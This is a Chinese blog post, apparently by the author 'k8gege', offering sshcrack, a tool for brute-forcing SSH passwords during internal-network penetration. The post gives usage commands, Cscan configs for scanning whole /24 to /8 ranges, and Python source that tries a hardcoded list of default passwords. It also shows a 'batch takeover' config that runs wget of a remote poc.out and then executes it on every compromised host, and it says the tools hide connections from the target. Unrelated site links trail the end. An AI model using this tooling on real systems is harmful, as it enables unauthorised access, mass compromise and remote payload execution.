[原创]内网SSH密码爆破工具sshcrack(配合Cscan批量弱口令检测)
0x000 前言
sshcrack是一个命令行下的SSH密码爆破工具,适用于内渗中SSH密码检测
当然也可用于外网SSH密码爆破,支持Windows/Linux,其它系统未测。Tip1
0x001 目录
1.sshcrack用法
2.Cscan批量扫描
3.连接SSH执行命令
4.sshcrack源码
5.SSH批量上控
6.工具下载
0x002 用法
指定SSH服务器密码检测
弱口令检测 (-crack 用户密码可随便写,因为帐密列表已写死)
C:\Users\K8team\Desktop\upload>sshcrack.exe 192.168.1.106 22 root k8gege -crack
192.168.1.106 22 root toor LoginOK 单密码验证 (-test )
C:\Users\K8team\Desktop\upload>sshcrack.exe 192.168.1.106 22 root toor -test
192.168.1.106 22 root toor LoginOK
0x003 批量SSH服务器密码检测
以下功能可使用Ladon SshScan模块,更简单易用。
0.将Cscan.exe Cscan.ini sshcrack.exe放置同一目录
Cscan.ini内容如下
1.爆破弱口令(当前无密码或已获取多个帐密)
[Cscan]
exe=sshcrack.exe
arg=$ip$ 22 "" "" -crack
2.验证一个已知密码(快速检测内网其它机器是否使用同一帐密)
[Cscan]
exe=sshcrack.exe
arg=$ip$ 22 root k8gege -test
3.Cscan扫描单个C段/B段/A段机器
cscan 192.168.1.108 (单个IP)
cscan 192.168.1.108/24 (C段)
cscan 192.168.1.108/16 (B段)
cscan 192.168.1.108/8 (A段)
4.Cscan批量IP/批量C段/批量B段扫描
新建 ip24.txt或ip16.tx或ip.txt 文件,然后输入Cscan即可(无需其它参数)
以下Cscan.ini不指定端口,因通过K8portscan识别出来非22端口
不指定端口意味着ip.txt里需要填写上对应SSH端口
0x004 连接SSH执行命令
1.sshshell交互式连接
sshshell.exe 192.168.1.106 22 root toor
sshshell.exe 单文件交互式SSH连接工具(优点类似putty可保持会话,缺点也类似putty保持连接)
2.sshcmd命令行非交互式
优点都是执行完命令立即注销会话(即目标机看不到网络连接),内网渗透专用
3.渗透专版SSH连接工具GUI版
优点都是执行完命令立即注销会话(即目标机看不到网络连接),渗透专用,内网可代理出来或外网SSH连接时用
当然也可用于日常VPS管理用,GUI版带文件管理,支持上传下载单个文件或整个目录
0x005 sshcrack源码
建议密码写死,方便配合Cscan批量扫描,要不然每扫一台,sshcrack就读取一下密码列表,可能会影响批量效率。
以下是例子,大家可自行修改,根据自身项目添加对应密码字典,脚本还需完善,如跑出root密码后停止检测root用户或者不再爆破。
#sshcrack 1.0
#author: k8gege
#https://www.cnblogs.com/k8gege
#https://github.com/k8gege
import paramiko
import sys
import logging ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
logging.raiseExceptions=False
def checkSSH(host,port,user,pwd):
try:
ssh.connect(host,port,user,pwd)
print host+' '+port+' '+user+' '+pwd+' LoginOK'
except:
pass
host=sys.argv[1]
port=sys.argv[2]
user=sys.argv[3]
pwd=sys.argv[4]
type=sys.argv[5]
if type=='-test':
checkSSH(host,port,user,pwd)
elif type=='-crack':
checkSSH(host,port,'root','123456')
checkSSH(host,port,'root','cisco')
checkSSH(host,port,'root','Cisco')
checkSSH(host,port,'admin','123456')
checkSSH(host,port,'cisco','123456')
checkSSH(host,port,'cisco','cisco')
checkSSH(host,port,'Cisco','Cisco')
checkSSH(host,port,'cisco','cisco123')
checkSSH(host,port,'admin','admin')
checkSSH(host,port,'root','Admin')
checkSSH(host,port,'root','toor')
checkSSH(host,port,'root','Admin123')
checkSSH(host,port,'root','system')
checkSSH(host,port,'root','system123')
checkSSH(host,port,'root','System')
checkSSH(host,port,'root','System123')
checkSSH(host,port,'root','Admin123!@#')
checkSSH(host,port,'root','root123!@#')
checkSSH(host,port,'root','root2019')
checkSSH(host,port,'root','root2018')
checkSSH(host,port,'root','root2017')
checkSSH(host,port,'root','root2016')
checkSSH(host,port,'root','root2015')
checkSSH(host,port,'root','root2014')
checkSSH(host,port,'root','root2013')
checkSSH(host,port,'root','root2012')
else:
checkSSH(host,port,user,pwd)
0x006 Linux批量上控
通过调用sshcmd.exe可实现批量验证SSH密码或者批量上控
详见: [教程]K8Cscan调用外部程序例子(Win/Linux批量上控)
ip.txt内容 格式: IP 端口 用户 帐密
192.168.1.8 22 root k8123456
192.168.1.100 444 root admin123
10.1.11.5 22 root p@walod
172.3.4.6 22 root test
Cscan.ini内容
[Cscan]
exe=sshcmd.exe
arg=$ip$ "wget http://k8gege.github.io/poc.out&&./poc.out"
0x007 工具下载
https://github.com/k8gege/sshshell
https://github.com/k8gege/K8tools
https://github.com/k8gege/K8CScan
Tip1: Python写的程序一定跨平台?
Python虽是跨平台语言,但不见得Python写的程序一定支持所有系统
支不支持主要是看写代码的人,比如有些依赖包仅Linux下或Win下可用
你直接调用人家的包,未做任何修改,你认为一定是跨平台吗???
就算是只用原生包写的功能,也不能保证完全兼容
有些功能针对于不同系统需做不同的处理
Tip2: SSH连接工具详细说明
[原创]内网渗透专用SSH连接工具sshcmd/sshshell/ssh密码破解以及Kali开启SSH
https://www.cnblogs.com/k8gege/p/10991264.html
[原创]内网SSH密码爆破工具sshcrack(配合Cscan批量弱口令检测)的更多相关文章
- [原创]内网渗透专用SSH连接工具sshcmd/sshshell/ssh密码破解以及Kali开启SSH
目录 1.Kali开启SSH 2.SSH连接工具优缺点 3.渗透专用SSH连接工具 4.ssh执行cmd源码 5.批量SSH密码破解 6.相关工具下载 0x001 SSH配置 1.打开文件 etc/s ...
- SQL Server密码爆破工具SQLdict
SQL Server密码爆破工具SQLdict SQL Server是Windows系统常用的数据库服务器.它广泛采用用户名和密码方式,进行身份认证.Kali Linux提供一款专用的数据库密码爆破工 ...
- 基于端口的弱口令检测工具--iscan
亲手打造了一款弱口令检测工具,用Python编写,主要可以用于内网渗透.弱口令检测等方面,目前集成了常见端口服务,包含 系统弱口令:ftp.ssh.telnet.ipc$ 数据库弱口令:mssql.m ...
- [原创]K8一句话密码爆破工具{秒破10万} 支持ASP/PHP/ASPX/JSP/CFM/DIY
工具: K8_FuckOneShell 20161224编译: VS2012 C# (.NET Framework v4.0)组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http ...
- [原创]内网渗透JSP webSehll连接工具
工具: JspShellExec编译: VS2012 C# (.NET Framework v2.0)组织: K8搞基大队[K8team]作者: K8拉登哥哥博客: http://qqhack8.b ...
- 云主机不能外网ssh连接,只能内网ssh连接的问题处理
某台服务器外网无法ssh,内网可以ssh连接,ping值延时比较大 安装iftop查看流量 yum install -y iftop iftop界面含义如下 第一行:带宽显示 中间部分:外部连接列表, ...
- 内网映射到公网工具 --- ngrok
ngrok可以将内网映射到公网上,这样就可以在公网上访问你的网络服务. 该工具通常在进行app开发和微信开发时比较有用,这样就可避免在公网服务器上单独部署项目,通过映射,直接连接本地服务即可进行开发. ...
- 内网ssh穿透
公司服务器没有公网IP,只有内网IP,利用自己的阿里云服务器(有公网ip)做ssh内网穿透,使得外网可访问.方法如下: 环境: 公司服务器和阿里云服务器均为 Ubuntu 操作系统, 需要修改阿里云服 ...
- 内网Https 自签Https证书 配合Tomcat 实现内网Https详细图文
内网项目启用Https配置手册 软件需求: OpenSSL https://www.openssl.org/ 已经安装了Java Jdk环境 制作前的需求: 已经配置了Jdk环境变量 安装好OpenS ...
随机推荐
- hihocoder #1152 Lucky Substrings 【字符串处理问题】strsub()函数+set集合去重
#1152 : Lucky Substrings时间限制:10000ms单点时限:1000ms内存限制:256MB描述A string s is LUCKY if and only if the nu ...
- js(11)
style对象的相关案例 <!DOCTYPE html> <html> <head> <title>MyHtml.html</title> ...
- legend2---开发日志15(功能需求明确,设计好类和结构的好处是)
legend2---开发日志15(功能需求明确,设计好类和结构的好处是) 一.总结 一句话总结: 极快简化编程,节约大量时间 1.多个类型的物品,比如商店和寻宝的丹药,装备,特性书,英雄石等等 应该怎 ...
- [原创]java导出excel
一.需求背景 在项目开发中,经常会遇到导出Excel报表文件的情况,因为很多情况下,我们需要打印Excel报表,虽然在网页上也可以生成报表,但是打印网上里的报表是无法处理排版问题的,所以最好的方式,还 ...
- shell命令自动分区提示
echo ’n p 1 +20M w’ | fdisk /dev/sda
- 编写html页面时常见的问题(一)
说到写页面,肯定有很多人在刚接触编写页面这一块时遇到很多细节和兼容性的问题,那么在这里我总结一些经常遇到的小问题.希望能够帮助学习页面搭建的初学者! 虽然说ie6很多公司都已经抛弃,但是个人认为,初学 ...
- 【Python】numpy 数组拼接、分割
摘自https://docs.scipy.org 1.The Basics 1.1 numpy 数组基础 NumPy’s array class is called ndarray. ndarray. ...
- 【Matlab】调试基础
1.matlab 调试子程序 在主程序进入子程序前一句加断点,然后step in,可以进入子程序. 但是直接在子程序里设置断点,运行主程序是不能进入子程序的.
- tcpdump抓包工具用法说明
tcpdump采用命令行方式对接口的数据包进行筛选抓取,其丰富特性表现在灵活的表达式上. 不带任何选项的tcpdump,默认会抓取第一个网络接口,且只有将tcpdump进程终止才会停止抓包. 例如: ...
- DataGrid当列宽超出当前宽度时,没有数据也恒有滚动条
附件是DataGrid支持滚动条的文件. 具体使用如下: 1)DataGrid使用控件模板 <Setter Property="Template" Value="{ ...